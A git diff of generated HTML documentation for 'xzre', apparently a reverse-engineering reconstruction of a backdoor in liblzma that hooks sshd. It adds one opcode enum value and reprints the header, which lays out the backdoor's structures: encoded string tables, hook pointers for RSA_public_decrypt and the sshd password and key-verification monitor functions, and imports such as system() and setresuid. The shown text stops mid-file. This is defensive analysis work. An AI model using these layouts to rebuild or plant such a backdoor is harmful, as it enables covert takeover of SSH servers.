diff --git a/xzre_8h.html b/xzre_8h.html index e7951f7..94587bf 100644 --- a/xzre_8h.html +++ b/xzre_8h.html @@ -469,6 +469,7 @@

Enumerations

enum  X86_OPCODE { X86_OPCODE_LEA = 0x8D +, X86_OPCODE_CALL = 0xE8 }   enum  InstructionFlags {
diff --git a/xzre_8h_source.html b/xzre_8h_source.html index be061a3..120f1a6 100644 --- a/xzre_8h_source.html +++ b/xzre_8h_source.html @@ -324,2011 +324,2012 @@
302 #define XZDASM_OPC(op) (op - 0x80)
303 
304 enum X86_OPCODE {
-
305  X86_OPCODE_LEA = 0x8D
-
306 };
-
307 
-
308 typedef int BOOL;
-
309 
-
310 #define TRUE 1
-
311 #define FALSE 0
-
312 
-
313 typedef enum {
-
314  // has lock or rep prefix
-
315  DF1_LOCK_REP = 1,
-
316  //1 has segment override
-
317  DF1_SEG = 2,
-
318  //1 has operand size override
-
319  DF1_OSIZE = 4,
-
320  //1 has address size override
-
321  DF1_ASIZE = 8,
-
322  //1 vex instruction
-
323  DF1_VEX = 0x10,
-
324  //1 has rex
-
325  DF1_REX = 0x20,
-
326  //1 has modrm
-
327  DF1_MODRM = 0x40,
-
328  //1 has sib
-
329  DF1_SIB = 0x80
-
330 } InstructionFlags;
-
331 
-
332 typedef enum {
-
333  // memory with displacement
-
334  DF2_MEM_DISP = 0x1,
-
335  //2 8-bit displacement
-
336  DF2_MEM_DISP8 = 0x2,
-
337  //2 memory seg+offs (0xa0-0xa3)
-
338  DF2_MEM_SEG_OFFS = 0x4,
-
339 
-
340  // mask to check for memory flags
-
341  DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
-
342 
-
343  //2 has immediate
-
344  DF2_IMM = 0x8,
-
345  //2 64-bit immediate (movabs)
-
346  DF2_IMM64 = 0x10
-
347 } InstructionFlags2;
-
348 
-
349 typedef enum {
-
350  // ELF has JMPREL relocs
-
351  X_ELF_PLTREL = 0x1,
-
352  // ELF has RELA relocs
-
353  X_ELF_RELA = 0x2,
-
354  // ELF has RELR relocs
-
355  X_ELF_RELR = 0x4,
-
356  // ELF has DT_VERDEF
-
357  X_ELF_VERDEF = 0x8,
-
358  // ELF has DT_VERSYM
-
359  X_ELF_VERSYM = 0x10,
-
360  // ELF has DF_1_NOW
-
361  X_ELF_NOW = 0x20
-
362 } ElfFlags;
-
363 
-
364 typedef enum {
-
365  // register-indirect addressing or no displacement
-
366  MRM_I_REG, // 00
-
367  // indirect with one byte displacement
-
368  MRM_I_DISP1, // 01
-
369  // indirect with four byte displacement
-
370  MRM_I_DISP4, // 10
-
371  // direct-register addressing
-
372  MRM_D_REG // 11
-
373 } ModRm_Mod;
-
374 
-
375 typedef enum {
-
376  // find function beginning by looking for endbr64
-
377  FIND_ENDBR64,
-
378  // find function beginning by looking for padding,
-
379  // then getting the instruction after it
-
380  FIND_NOP
-
381 } FuncFindType;
-
382 
-
383 typedef enum {
-
388  X_ELF_MAIN = 0,
-
389  X_ELF_DYNAMIC_LINKER = 1,
-
390  X_ELF_LIBC = 2,
-
391  X_ELF_LIBCRYPTO = 3
-
392 } ElfId;
-
393 
-
394 typedef enum {
-
395  XREF_xcalloc_zero_size = 0,
-
396  XREF_Could_not_chdir_to_home_directory_s_s = 1,
-
397  XREF_list_hostkey_types = 2,
-
398  XREF_demote_sensitive_data = 3,
-
399  XREF_mm_terminate = 4,
-
400  XREF_mm_pty_allocate = 5,
-
401  XREF_mm_do_pam_account = 6,
-
402  XREF_mm_session_pty_cleanup2 = 7,
-
403  XREF_mm_getpwnamallow = 8,
-
404  XREF_mm_sshpam_init_ctx = 9,
-
405  XREF_mm_sshpam_query = 10,
-
406  XREF_mm_sshpam_respond = 11,
-
407  XREF_mm_sshpam_free_ctx = 12,
-
408  XREF_mm_choose_dh = 13,
-
409  XREF_sshpam_respond = 14,
-
410  XREF_sshpam_auth_passwd = 15,
-
411  XREF_sshpam_query = 16,
-
412  XREF_start_pam = 17,
-
413  XREF_mm_request_send = 18,
-
414  XREF_mm_log_handler = 19,
-
415  XREF_Could_not_get_agent_socket = 20,
-
416  XREF_auth_root_allowed = 21,
-
417  XREF_mm_answer_authpassword = 22,
-
418  XREF_mm_answer_keyallowed = 23,
-
419  XREF_mm_answer_keyverify = 24,
-
420  XREF_48s_48s_d_pid_ld_ = 25,
-
421  XREF_Unrecognized_internal_syslog_level_code_d = 26
-
422 } StringXrefId;
-
423 
-
424 typedef enum {
-
425  STR_from = 0x810,
-
426  STR_ssh2 = 0x678,
-
427  STR_48s_48s_d_pid_ld_ = 0xd8,
-
428  STR_s = 0x708,
-
429  STR_usr_sbin_sshd = 0x108,
-
430  STR_Accepted_password_for = 0x870,
-
431  STR_Accepted_publickey_for = 0x1a0,
-
432  STR_BN_bin2bn = 0xc40,
-
433  STR_BN_bn2bin = 0x6d0,
-
434  STR_BN_dup = 0x958,
-
435  STR_BN_free = 0x418,
-
436  STR_BN_num_bits = 0x4e0,
-
437  STR_Connection_closed_by = 0x790,
-
438  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
-
439  STR_Could_not_get_agent_socket = 0xb0,
-
440  STR_DISPLAY = 0x960,
-
441  STR_DSA_get0_pqg = 0x9d0,
-
442  STR_DSA_get0_pub_key = 0x468,
-
443  STR_EC_KEY_get0_group = 0x7e8,
-
444  STR_EC_KEY_get0_public_key = 0x268,
-
445  STR_EC_POINT_point2oct = 0x6e0,
-
446  STR_EVP_CIPHER_CTX_free = 0xb28,
-
447  STR_EVP_CIPHER_CTX_new = 0x838,
-
448  STR_EVP_DecryptFinal_ex = 0x2a8,
-
449  STR_EVP_DecryptInit_ex = 0xc08,
-
450  STR_EVP_DecryptUpdate = 0x3f0,
-
451  STR_EVP_Digest = 0xf8,
-
452  STR_EVP_DigestVerify = 0x408,
-
453  STR_EVP_DigestVerifyInit = 0x118,
-
454  STR_EVP_MD_CTX_free = 0xd10,
-
455  STR_EVP_MD_CTX_new = 0xaf8,
-
456  STR_EVP_PKEY_free = 0x6f8,
-
457  STR_EVP_PKEY_new_raw_public_key = 0x758,
-
458  STR_EVP_PKEY_set1_RSA = 0x510,
-
459  STR_EVP_chacha20 = 0xc28,
-
460  STR_EVP_sha256 = 0xc60,
-
461  STR_EVP_sm = 0x188,
-
462  STR_GLIBC_2_2_5 = 0x8c0,
-
463  STR_GLRO_dl_naudit_naudit = 0x6a8,
-
464  STR_KRB5CCNAME = 0x1e0,
-
465  STR_LD_AUDIT = 0xcf0,
-
466  STR_LD_BIND_NOT = 0xbc0,
-
467  STR_LD_DEBUG = 0xa90,
-
468  STR_LD_PROFILE = 0xb98,
-
469  STR_LD_USE_LOAD_BIAS = 0x3e0,
-
470  STR_LINES = 0xa88,
-
471  STR_RSA_free = 0xac0,
-
472  STR_RSA_get0_key = 0x798,
-
473  STR_RSA_new = 0x918,
-
474  STR_RSA_public_decrypt = 0x1d0,
-
475  STR_RSA_set0_key = 0x540,
-
476  STR_RSA_sign = 0x8f8,
-
477  STR_SSH_2_0 = 0x990,
-
478  STR_TERM = 0x4a8,
-
479  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
-
480  STR_WAYLAND_DISPLAY = 0x158,
-
481  STR_errno_location = 0x878,
-
482  STR_libc_stack_end = 0x2b0,
-
483  STR_libc_start_main = 0x228,
-
484  STR_dl_audit_preinit = 0xa60,
-
485  STR_dl_audit_symbind_alt = 0x9c8,
-
486  STR_exit = 0x8a8,
-
487  STR_r_debug = 0x5b0,
-
488  STR_rtld_global = 0x5b8,
-
489  STR_rtld_global_ro = 0xa98,
-
490  STR_auth_root_allowed = 0xb8,
-
491  STR_authenticating = 0x1d8,
-
492  STR_demote_sensitive_data = 0x28,
-
493  STR_getuid = 0x348,
-
494  STR_ld_linux_x86_64_so = 0xa48,
-
495  STR_libc_so = 0x7d0,
-
496  STR_libcrypto_so = 0x7c0,
-
497  STR_liblzma_so = 0x590,
-
498  STR_libsystemd_so = 0x938,
-
499  STR_list_hostkey_types = 0x20,
-
500  STR_malloc_usable_size = 0x440,
-
501  STR_mm_answer_authpassword = 0xc0,
-
502  STR_mm_answer_keyallowed = 0xc8,
-
503  STR_mm_answer_keyverify = 0xd0,
-
504  STR_mm_answer_pam_start = 0x948,
-
505  STR_mm_choose_dh = 0x78,
-
506  STR_mm_do_pam_account = 0x40,
-
507  STR_mm_getpwnamallow = 0x50,
-
508  STR_mm_log_handler = 0xa8,
-
509  STR_mm_pty_allocate = 0x38,
-
510  STR_mm_request_send = 0xa0,
-
511  STR_mm_session_pty_cleanup2 = 0x48,
-
512  STR_mm_sshpam_free_ctx = 0x70,
-
513  STR_mm_sshpam_init_ctx = 0x58,
-
514  STR_mm_sshpam_query = 0x60,
-
515  STR_mm_sshpam_respond = 0x68,
-
516  STR_mm_terminate = 0x30,
-
517  STR_parse_PAM = 0xc58,
-
518  STR_password = 0x400,
-
519  STR_preauth = 0x4f0,
-
520  STR_pselect = 0x690,
-
521  STR_publickey = 0x7b8,
-
522  STR_read = 0x308,
-
523  STR_rsa_sha2_256 = 0x710,
-
524  STR_setlogmask = 0x428,
-
525  STR_setresgid = 0x5f0,
-
526  STR_setresuid = 0xab8,
-
527  STR_shutdown = 0x760,
-
528  STR_ssh_2_0 = 0xd08,
-
529  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
-
530  STR_sshpam_auth_passwd = 0x88,
-
531  STR_sshpam_query = 0x90,
-
532  STR_sshpam_respond = 0x80,
-
533  STR_start_pam = 0x98,
-
534  STR_system = 0x9f8,
-
535  STR_unknown = 0x198,
-
536  STR_user = 0xb10,
-
537  STR_write = 0x380,
-
538  STR_xcalloc_zero_size = 0x10,
-
539  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
-
540  STR_ELF = 0x300,
-
541 } EncodedStringId;
-
542 
-
543 #ifndef XZRE_SLIM
-
544 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
545 #else
-
546 #define assert_offset(t, f, o)
-
547 #endif
-
548 
-
549 #define CONCAT(x, y) x ## y
-
550 #define EXPAND(x, y) CONCAT(x, y)
-
551 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
-
552 
-
553 struct sshbuf;
-
554 struct kex;
-
555 
-
556 /* permit_root_login */
-
557 #define PERMIT_NOT_SET -1
-
558 #define PERMIT_NO 0
-
559 #define PERMIT_FORCED_ONLY 1
-
560 #define PERMIT_NO_PASSWD 2
-
561 #define PERMIT_YES 3
-
562 
-
566 struct monitor {
-
567  int m_recvfd;
-
568  int m_sendfd;
-
569  int m_log_recvfd;
-
570  int m_log_sendfd;
-
571  struct kex **m_pkex;
-
572  pid_t m_pid;
-
573 };
-
574 
-
578 struct sensitive_data {
-
579  struct sshkey **host_keys; /* all private host keys */
-
580  struct sshkey **host_pubkeys; /* all public host keys */
-
581  struct sshkey **host_certificates; /* all public host certificates */
-
582  int have_ssh2_key;
-
583 };
-
584 
-
589 struct sshkey {
-
590  int type;
-
591  int flags;
-
592  /* KEY_RSA */
-
593  RSA *rsa;
-
594  /* KEY_DSA */
-
595  DSA *dsa;
-
596  /* KEY_ECDSA and KEY_ECDSA_SK */
-
597  int ecdsa_nid; /* NID of curve */
-
598  EC_KEY *ecdsa;
-
599  /* KEY_ED25519 and KEY_ED25519_SK */
-
600  u8 *ed25519_sk;
-
601  u8 *ed25519_pk;
-
602  /* KEY_XMSS */
-
603  char *xmss_name;
-
604  char *xmss_filename; /* for state file updates */
-
605  void *xmss_state; /* depends on xmss_name, opaque */
-
606  u8 *xmss_sk;
-
607  u8 *xmss_pk;
-
608  /* KEY_ECDSA_SK and KEY_ED25519_SK */
-
609  char sk_application;
-
610  u8 sk_flags;
-
611  struct sshbuf *sk_key_handle;
-
612  struct sshbuf *sk_reserved;
-
613  /* Certificates */
-
614  struct sshkey_cert *cert;
-
615  /* Private key shielding */
-
616  u8 *shielded_private;
-
617  size_t shielded_len;
-
618  u8 *shield_prekey;
-
619  size_t shield_prekey_len;
-
620 };
-
621 
-
622 typedef struct __attribute__((packed)) got_ctx {
-
626  void *got_ptr;
-
633  void *return_address;
-
637  void *cpuid_fn;
-
642  ptrdiff_t got_offset;
-
643 } got_ctx_t;
-
644 
-
645 assert_offset(got_ctx_t, got_ptr, 0);
-
646 assert_offset(got_ctx_t, return_address, 0x8);
-
647 assert_offset(got_ctx_t, cpuid_fn, 0x10);
-
648 assert_offset(got_ctx_t, got_offset, 0x18);
-
649 static_assert(sizeof(got_ctx_t) == 0x20);
-
650 
-
651 typedef struct __attribute__((packed)) elf_entry_ctx {
-
656  void *symbol_ptr;
-
657  got_ctx_t got_ctx;
-
661  u64 *frame_address;
-
662 } elf_entry_ctx_t;
-
663 
-
664 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
-
665 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
-
666 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
-
667 
-
668 typedef struct __attribute__((packed)) dasm_ctx {
-
669  u8* instruction;
-
670  u64 instruction_size;
-
671  union {
-
672  struct __attribute__((packed)) {
-
676  u8 flags;
-
680  u8 flags2;
-
681  PADDING(2);
-
682  u8 lock_rep_byte;
-
683  u8 seg_byte;
-
684  u8 osize_byte;
-
685  u8 asize_byte;
-
686  u8 vex_byte;
-
687  u8 vex_byte2;
-
688  u8 vex_byte3;
-
689  u8 rex_byte;
-
690  union {
-
691  struct __attribute__((packed)) {
-
692  u8 modrm;
-
693  u8 modrm_mod;
-
694  u8 modrm_reg;
-
695  u8 modrm_rm;
-
696  };
-
697  u32 modrm_word;
-
698  };
-
699  };
-
700  u16 flags_u16;
-
701  };
-
702  u8 imm64_reg; // low 3 bits only
-
703  struct __attribute__((packed)) {
-
704  union {
-
705  struct __attribute__((packed)) {
-
706  u8 sib;
-
707  u8 sib_scale;
-
708  u8 sib_index;
-
709  u8 sib_base;
-
710  };
-
711  u32 sib_word;
-
712  };
-
713  };
-
714  PADDING(3);
-
715  u32 opcode;
-
716  PADDING(4);
-
717  u64 mem_disp;
-
718  // e.g. in CALL
-
719  u64 operand;
-
720  u64 operand_zeroextended;
-
721  u64 operand_size;
-
722  u8 insn_offset;
-
723  PADDING(7);
-
724 } dasm_ctx_t;
-
725 
-
726 assert_offset(dasm_ctx_t, instruction, 0);
-
727 assert_offset(dasm_ctx_t, instruction_size, 8);
-
728 assert_offset(dasm_ctx_t, flags, 0x10);
-
729 assert_offset(dasm_ctx_t, flags2, 0x11);
-
730 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
-
731 assert_offset(dasm_ctx_t, seg_byte, 0x15);
-
732 assert_offset(dasm_ctx_t, osize_byte, 0x16);
-
733 assert_offset(dasm_ctx_t, asize_byte, 0x17);
-
734 assert_offset(dasm_ctx_t, vex_byte, 0x18);
-
735 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
-
736 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
-
737 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
-
738 assert_offset(dasm_ctx_t, modrm, 0x1C);
-
739 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
-
740 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
-
741 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
-
742 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
-
743 assert_offset(dasm_ctx_t, sib, 0x21);
-
744 assert_offset(dasm_ctx_t, sib_scale, 0x22);
-
745 assert_offset(dasm_ctx_t, sib_index, 0x23);
-
746 assert_offset(dasm_ctx_t, sib_base, 0x24);
-
747 assert_offset(dasm_ctx_t, opcode, 0x28);
-
748 assert_offset(dasm_ctx_t, mem_disp, 0x30);
-
749 assert_offset(dasm_ctx_t, operand, 0x38);
-
750 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
-
751 assert_offset(dasm_ctx_t, operand_size, 0x48);
-
752 assert_offset(dasm_ctx_t, insn_offset, 0x50);
-
753 static_assert(sizeof(dasm_ctx_t) == 0x58);
-
754 
-
755 typedef struct __attribute__((packed)) elf_info {
-
759  Elf64_Ehdr *elfbase;
-
763  u64 first_vaddr;
-
767  Elf64_Phdr *phdrs;
-
771  u64 e_phnum;
-
775  Elf64_Dyn *dyn;
-
779  u64 dyn_num_entries;
-
783  char *strtab;
-
787  Elf64_Sym *symtab;
-
791  Elf64_Rela *plt_relocs;
-
795  u32 plt_relocs_num;
-
801  BOOL gnurelro_found;
-
805  u64 gnurelro_vaddr;
-
809  u64 gnurelro_memsize;
-
813  Elf64_Verdef *verdef;
-
817  u64 verdef_num;
-
818  Elf64_Versym *versym;
-
819  Elf64_Rela *rela_relocs;
-
820  u32 rela_relocs_num;
-
821  u32 _unused0;
-
822  Elf64_Relr *relr_relocs;
-
823  u32 relr_relocs_num;
-
824  PADDING(4);
-
829  u64 code_segment_start;
-
834  u64 code_segment_size;
-
835 
-
836  u64 rodata_segment_start;
-
837  u64 rodata_segment_size;
-
838  u64 data_segment_start;
-
839  u64 data_segment_size;
-
840  u64 data_segment_alignment;
-
841 
-
842  u8 flags;
-
843  PADDING(7);
-
847  u32 gnu_hash_nbuckets;
-
851  u32 gnu_hash_last_bloom;
-
852  u32 gnu_hash_bloom_shift;
-
853  PADDING(4);
-
854  u64 *gnu_hash_bloom;
-
855  u32 *gnu_hash_buckets;
-
856  u32 *gnu_hash_chain;
-
857 } elf_info_t;
-
858 
-
859 assert_offset(elf_info_t, elfbase, 0x0);
-
860 assert_offset(elf_info_t, first_vaddr, 0x8);
-
861 assert_offset(elf_info_t, phdrs, 0x10);
-
862 assert_offset(elf_info_t, e_phnum, 0x18);
-
863 assert_offset(elf_info_t, dyn, 0x20);
-
864 assert_offset(elf_info_t, dyn_num_entries, 0x28);
-
865 assert_offset(elf_info_t, strtab, 0x30);
-
866 assert_offset(elf_info_t, symtab, 0x38);
-
867 assert_offset(elf_info_t, plt_relocs, 0x40);
-
868 assert_offset(elf_info_t, plt_relocs_num, 0x48);
-
869 assert_offset(elf_info_t, gnurelro_found, 0x4C);
-
870 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
-
871 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
-
872 assert_offset(elf_info_t, verdef, 0x60);
-
873 assert_offset(elf_info_t, verdef_num, 0x68);
-
874 assert_offset(elf_info_t, versym, 0x70);
-
875 assert_offset(elf_info_t, rela_relocs, 0x78);
-
876 assert_offset(elf_info_t, rela_relocs_num, 0x80);
-
877 assert_offset(elf_info_t, relr_relocs, 0x88);
-
878 assert_offset(elf_info_t, relr_relocs_num, 0x90);
-
879 assert_offset(elf_info_t, code_segment_start, 0x98);
-
880 assert_offset(elf_info_t, code_segment_size, 0xA0);
-
881 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
-
882 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
-
883 assert_offset(elf_info_t, data_segment_start, 0xB8);
-
884 assert_offset(elf_info_t, data_segment_size, 0xC0);
-
885 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
-
886 assert_offset(elf_info_t, flags, 0xD0);
-
887 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
-
888 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
-
889 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
-
890 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
-
891 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
-
892 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
-
893 static_assert(sizeof(elf_info_t) == 0x100);
-
894 
-
895 typedef struct __attribute__((packed)) libc_imports {
-
896  u32 resolved_imports_count;
-
897  PADDING(4);
-
898  size_t (*malloc_usable_size)(void *ptr);
-
899  uid_t (*getuid)(void);
-
900  void (*exit)(int status);
-
901  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
-
902  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
-
903  int (*system)(const char *command);
-
904  ssize_t (*write)(int fd, const void *buf, size_t count);
-
905  int (*pselect)(
-
906  int nfds, fd_set *readfds, fd_set *writefds,
-
907  fd_set *exceptfds, const struct timespec *timeout,
-
908  const sigset_t *sigmask);
-
909  ssize_t (*read)(int fd, void *buf, size_t count);
-
910  int *(*__errno_location)(void);
-
911  int (*setlogmask)(int mask);
-
912  int (*shutdown)(int sockfd, int how);
-
913  void *__libc_stack_end;
-
914 } libc_imports_t;
-
915 
-
916 assert_offset(libc_imports_t, resolved_imports_count, 0);
-
917 assert_offset(libc_imports_t, malloc_usable_size, 8);
-
918 assert_offset(libc_imports_t, getuid, 0x10);
-
919 assert_offset(libc_imports_t, exit, 0x18);
-
920 assert_offset(libc_imports_t, setresgid, 0x20);
-
921 assert_offset(libc_imports_t, setresuid, 0x28);
-
922 assert_offset(libc_imports_t, system, 0x30);
-
923 assert_offset(libc_imports_t, write, 0x38);
-
924 assert_offset(libc_imports_t, pselect, 0x40);
-
925 assert_offset(libc_imports_t, read, 0x48);
-
926 assert_offset(libc_imports_t, __errno_location, 0x50);
-
927 assert_offset(libc_imports_t, setlogmask, 0x58);
-
928 assert_offset(libc_imports_t, shutdown, 0x60);
-
929 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
-
930 static_assert(sizeof(libc_imports_t) == 0x70);
-
931 
-
932 typedef int (*pfn_RSA_public_decrypt_t)(
-
933  int flen, unsigned char *from, unsigned char *to,
-
934  RSA *rsa, int padding);
-
935 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
-
936 typedef void (*pfn_RSA_get0_key_t)(
-
937  const RSA *r,
-
938  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
-
939 
-
940 typedef struct __attribute__((packed)) imported_funcs {
-
941  pfn_RSA_public_decrypt_t RSA_public_decrypt;
-
942  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
943  // ???
-
944  void (*RSA_get0_key_null)(
-
945  const RSA *r, const BIGNUM **n,
-
946  const BIGNUM **e, const BIGNUM **d);
-
951  void *RSA_public_decrypt_plt;
-
956  void *EVP_PKEY_set1_RSA_plt;
-
961  void *RSA_get0_key_plt;
-
962  void (*DSA_get0_pqg)(
-
963  const DSA *d, const BIGNUM **p,
-
964  const BIGNUM **q, const BIGNUM **g);
-
965  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
-
966  size_t (*EC_POINT_point2oct)(
-
967  const EC_GROUP *group, const EC_POINT *p,
-
968  point_conversion_form_t form, unsigned char *buf,
-
969  size_t len, BN_CTX *ctx);
-
970  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
-
971  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
-
972  EVP_MD *(*EVP_sha256)(void);
-
973  pfn_RSA_get0_key_t RSA_get0_key;
-
974  int (*BN_num_bits)(const BIGNUM *a);
-
975  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
-
976  int type, ENGINE *e,
-
977  const unsigned char *key, size_t keylen);
-
978  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
-
979  int (*EVP_DigestVerifyInit)(
-
980  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
-
981  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
-
982  int (*EVP_DigestVerify)(
-
983  EVP_MD_CTX *ctx, const unsigned char *sig,
-
984  size_t siglen, const unsigned char *tbs, size_t tbslen);
-
985  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
-
986  void (*EVP_PKEY_free)(EVP_PKEY *key);
-
987  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
-
988  int (*EVP_DecryptInit_ex)(
-
989  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
-
990  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
-
991  int (*EVP_DecryptUpdate)(
-
992  EVP_CIPHER_CTX *ctx, unsigned char *out,
-
993  int *outl, const unsigned char *in, int inl);
-
994  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
-
995  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
-
996  const EVP_CIPHER *(*EVP_chacha20)(void);
-
997  RSA *(*RSA_new)(void);
-
998  BIGNUM *(*BN_dup)(const BIGNUM *from);
-
999  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
-
1000  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
1001  int (*EVP_Digest)(
-
1002  const void *data, size_t count, unsigned char *md,
-
1003  unsigned int *size, const EVP_MD *type, ENGINE *impl);
-
1004  int (*RSA_sign)(
-
1005  int type,
-
1006  const unsigned char *m, unsigned int m_len,
-
1007  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
-
1008  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
-
1009  void (*RSA_free)(RSA *rsa);
-
1010  void (*BN_free)(BIGNUM *a);
-
1011  libc_imports_t *libc;
-
1012  u32 resolved_imports_count;
-
1013  PADDING(4);
-
1014 } imported_funcs_t;
-
1015 
-
1016 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
-
1017 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
-
1018 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
-
1019 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
-
1020 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
-
1021 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
-
1022 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
-
1023 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
-
1024 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
-
1025 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
-
1026 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
-
1027 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
-
1028 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
-
1029 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
-
1030 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
-
1031 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
-
1032 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
-
1033 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
-
1034 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
-
1035 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
-
1036 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
-
1037 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
-
1038 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
-
1039 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
-
1040 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
-
1041 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
-
1042 assert_offset(imported_funcs_t, RSA_new, 0xD0);
-
1043 assert_offset(imported_funcs_t, BN_dup, 0xD8);
-
1044 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
-
1045 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
-
1046 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
-
1047 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
-
1048 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
-
1049 assert_offset(imported_funcs_t, RSA_free, 0x108);
-
1050 assert_offset(imported_funcs_t, BN_free, 0x110);
-
1051 assert_offset(imported_funcs_t, libc, 0x118);
-
1052 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
-
1053 static_assert(sizeof(imported_funcs_t) == 0x128);
-
1054 
-
1055 struct ssh;
-
1056 struct sshbuf;
-
1057 
-
1058 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
-
1059 
-
1060 typedef struct __attribute__((packed)) sshd_ctx {
-
1061  BOOL have_mm_answer_keyallowed;
-
1062  BOOL have_mm_answer_authpassword;
-
1063  BOOL have_mm_answer_keyverify;
-
1064  PADDING(0x4);
-
1065  sshd_monitor_func_t mm_answer_authpassword_hook;
-
1066  void *mm_answer_keyallowed;
-
1067  void *mm_answer_keyverify;
-
1068  void *mm_answer_authpassword_start;
-
1069  void *mm_answer_authpassword_end;
-
1070  sshd_monitor_func_t *mm_answer_authpassword_ptr;
-
1071  int monitor_reqtype_authpassword;
-
1072  PADDING(4);
-
1073  void *mm_answer_keyallowed_start;
-
1074  void *mm_answer_keyallowed_end;
-
1075  void *mm_answer_keyallowed_ptr;
-
1076  u32 mm_answer_keyallowed_reqtype;
-
1077  PADDING(4);
-
1078  void *mm_answer_keyverify_start;
-
1079  void *mm_answer_keyverify_end;
-
1080  void *mm_answer_keyverify_ptr;
-
1081  PADDING(0x4);
-
1082  u16 writebuf_size;
-
1083  PADDING(0x2);
-
1084  u8 *writebuf;
-
1085  PADDING(0x8);
+
305  X86_OPCODE_LEA = 0x8D,
+
306  X86_OPCODE_CALL = 0xE8
+
307 };
+
308 
+
309 typedef int BOOL;
+
310 
+
311 #define TRUE 1
+
312 #define FALSE 0
+
313 
+
314 typedef enum {
+
315  // has lock or rep prefix
+
316  DF1_LOCK_REP = 1,
+
317  //1 has segment override
+
318  DF1_SEG = 2,
+
319  //1 has operand size override
+
320  DF1_OSIZE = 4,
+
321  //1 has address size override
+
